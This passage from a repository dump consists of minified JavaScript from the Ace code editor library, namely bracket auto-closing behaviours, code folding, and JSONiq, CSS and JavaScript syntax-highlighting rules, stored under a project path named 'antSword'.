a.push({type:\"text\",value:n.substring(m)}),{tokens:a,state:JSON.stringify([\"start\"])}}throw v}}return{tokens:a,state:JSON.stringify(s)}}}},{}]},{},[2])(2)}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/behaviour/xquery\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/mode/behaviour/xml\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function a(e,t){var n=!0,r=e.type.split(\".\"),i=t.split(\".\");return i.forEach(function(e){if(r.indexOf(e)==-1)return n=!1,!1}),n}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../behaviour/xml\").XmlBehaviour,u=e(\"../../token_iterator\").TokenIterator,f=function(){this.inherit(s,[\"braces\",\"parens\",\"string_dquotes\"]),this.inherit(o),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var s=n.getCursorPosition(),o=new u(r,s.row,s.column),f=o.getCurrentToken(),l=!1,e=JSON.parse(e).pop();if(f&&f.value===\">\"||e!==\"StartTag\")return;if(!f||!a(f,\"meta.tag\")&&(!a(f,\"text\")||!f.value.match(\"/\"))){do f=o.stepBackward();while(f&&(a(f,\"string\")||a(f,\"keyword.operator\")||a(f,\"entity.attribute-name\")||a(f,\"text\")))}else l=!0;var c=o.stepBackward();if(!f||!a(f,\"meta.tag\")||c!==null&&c.value.match(\"/\"))return;var h=f.value.substring(1);if(l)var h=h.substring(0,s.column-f.start);return{text:\"></\"+h+\">\",selection:[1,1]}}})};r.inherits(f,i),t.XQueryBehaviour=f}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/jsoniq\",[\"require\",\"exports\",\"module\",\"ace/worker/worker_client\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/xquery/jsoniq_lexer\",\"ace/range\",\"ace/mode/behaviour/xquery\",\"ace/mode/folding/cstyle\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"../worker/worker_client\").WorkerClient,i=e(\"../lib/oop\"),s=e(\"./text\").Mode,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./xquery/jsoniq_lexer\").JSONiqLexer,a=e(\"../range\").Range,f=e(\"./behaviour/xquery\").XQueryBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=e(\"../anchor\").Anchor,h=function(){this.$tokenizer=new u,this.$behaviour=new f,this.foldingRules=new l,this.$highlightRules=new o};i.inherits(h,s),function(){this.completer={getCompletions:function(e,t,n,r,i){if(!t.$worker)return i();t.$worker.emit(\"complete\",{data:{pos:n,prefix:r}}),t.$worker.on(\"complete\",function(e){i(null,e.data)})}},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=t.match(/\\s*(?:then|else|return|[{\\(]|<\\w+>)\\s*$/);return i&&(r+=n),r},this.checkOutdent=function(e,t,n){return/^\\s+$/.test(t)?/^\\s*[\\}\\)]/.test(n):!1},this.autoOutdent=function(e,t,n){var r=t.getLine(n),i=r.match(/^(\\s*[\\}\\)])/);if(!i)return 0;var s=i[1].length,o=t.findMatchingBracket({row:n,column:s});if(!o||o.row==n)return 0;var u=this.$getIndent(t.getLine(o.row));t.replace(new a(n,0,n,s-1),u)},this.toggleCommentLines=function(e,t,n,r){var i,s,o=!0,u=/^\\s*\\(:(.*):\\)/;for(i=n;i<=r;i++)if(!u.test(t.getLine(i))){o=!1;break}var f=new a(0,0,0,0);for(i=n;i<=r;i++)s=t.getLine(i),f.start.row=i,f.end.row=i,f.end.column=s.length,t.replace(f,o?s.match(u)[1]:\"(:\"+s+\":)\")},this.createWorker=function(e){var t=new r([\"ace\"],\"ace/mode/xquery_worker\",\"XQueryWorker\"),n=this;return t.attachToDocument(e.getDocument()),t.on(\"ok\",function(t){e.clearAnnotations()}),t.on(\"markers\",function(t){e.clearAnnotations(),n.addMarkers(t.data,e)}),t},this.removeMarkers=function(e){var t=e.getMarkers(!1);for(var n in t)t[n].clazz.indexOf(\"language_highlight_\")===0&&e.removeMarker(n);for(var r=0;r<e.markerAnchors.length;r++)e.markerAnchors[r].detach();e.markerAnchors=[]},this.addMarkers=function(e,t){var n=this;t.markerAnchors||(t.markerAnchors=[]),this.removeMarkers(t),t.languageAnnos=[],e.forEach(function(e){function u(i){r&&t.removeMarker(r),o.row=n.row;if(e.pos.sc!==undefined&&e.pos.ec!==undefined){var s=new a(e.pos.sl,e.pos.sc,e.pos.el,e.pos.ec);r=t.addMarker(s,\"language_highlight_\"+(e.type?e.type:\"default\"))}i&&t.setAnnotations(t.languageAnnos)}var n=new c(t.getDocument(),e.pos.sl,e.pos.sc||0);t.markerAnchors.push(n);var r,i=e.pos.ec-e.pos.sc,s=e.pos.el-e.pos.sl,o={guttertext:e.message,type:e.level||\"warning\",text:e.message};u(),n.on(\"change\",function(){u(!0)}),e.message&&t.languageAnnos.push(o)}),t.setAnnotations(t.languageAnnos)},this.$id=\"ace/mode/jsoniq\"}.call(h.prototype),t.Mode=h})"
  },
  {
    "path": "antSword/static/libs/ace/mode-jsp.js",
    "content": "ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\ufff